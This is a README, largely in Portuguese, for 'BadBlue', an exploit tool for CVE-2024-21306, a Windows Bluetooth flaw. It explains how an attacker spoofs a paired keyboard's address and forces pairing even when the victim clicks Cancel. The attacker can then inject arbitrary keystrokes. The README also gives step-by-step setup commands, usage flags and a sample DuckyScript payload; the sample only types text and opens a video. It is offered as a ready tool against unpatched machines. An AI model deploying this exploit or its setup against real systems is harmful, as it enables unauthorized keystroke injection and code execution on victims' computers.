
CVE-2024-21306 implementação BadBlue (Usando DuckyScript)
CVE-2024-21306 BadBlue implementation (Using DuckyScript)
Unauthenticated Peering Leading to Code Execution (Using HID Keyboard)
Esta é uma implementação da CVE descoberta por marcnewlin
BadBlue é uma ferramenta poderosa para explorar uma vulnerabilidade em dispositivos Bluetooth. Ao executar este script, você pode:
Eu executei isso com sucesso em qualquer Raspberry Pi 4 e VirtualBox usando o módulo Bluetooth CSR 4.0, ORICO 4.0,.. Funciona contra vários Windows com versão inferior a .3007. O computador Windows deve estar pareado com um teclado Bluetooth, e o teclado deve estar desligado (ou fora do alcance).
Um atacante, usando um computador Ubuntu (Kali pode rodar, mas não é recomendado) e um adaptador Bluetooth baseado em Broadcom (CSR 4.0 talvez possa funcionar), falsifica o endereço do teclado alvo e conecta-se ao L2CAP 17 no computador Windows, especificando a capacidade de emparelhamento SSP NoInputNoOutput.
A vítima verá uma notificação dizendo Add a device Tap to set up your <Keyboard Name>.
Se ignorarem a notificação, nada acontecerá.
Se clicarem na notificação, será exibida uma caixa de diálogo de solicitação de emparelhamento Bluetooth.
Se a vítima tiver a interface Add a Bluetooth device aberta, ela não verá uma notificação e, em vez disso, será imediatamente apresentada à solicitação de emparelhamento como uma caixa de diálogo modal.
O atacante pode concluir o emparelhamento assim que a caixa de diálogo de solicitação de emparelhamento fechar, mesmo que o usuário clique em Cancel ou X. Assim que o emparelhamento for concluído, o atacante conecta-se ao L2CAP 17 (HID Control).
O atacante então pode conectar-se ao L2CAP 19 (HID Interrupt) e é capaz de injetar teclas arbitrárias.
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel ou Approve)-k é o teclado (padrão meu teclado F4:73:35:7A:4B:BB, você precisa alterá-lo)
-i é a interface (padrão hci0)
-c são os dispositivos Windows alvo (deixe em branco, a ferramenta escaneia automaticamente para você)
Trabalho em andamento:
Talvez na primeira vez que usar, o readchar esteja ausente, use o seguinte comando:
pip install readchar
Esta ferramenta deve ser executada em um ambiente gráfico (GUI); a CLI pode causar erro de dbus-launch. Se você souber como corrigir, entre em contato comigo.
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<>.?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300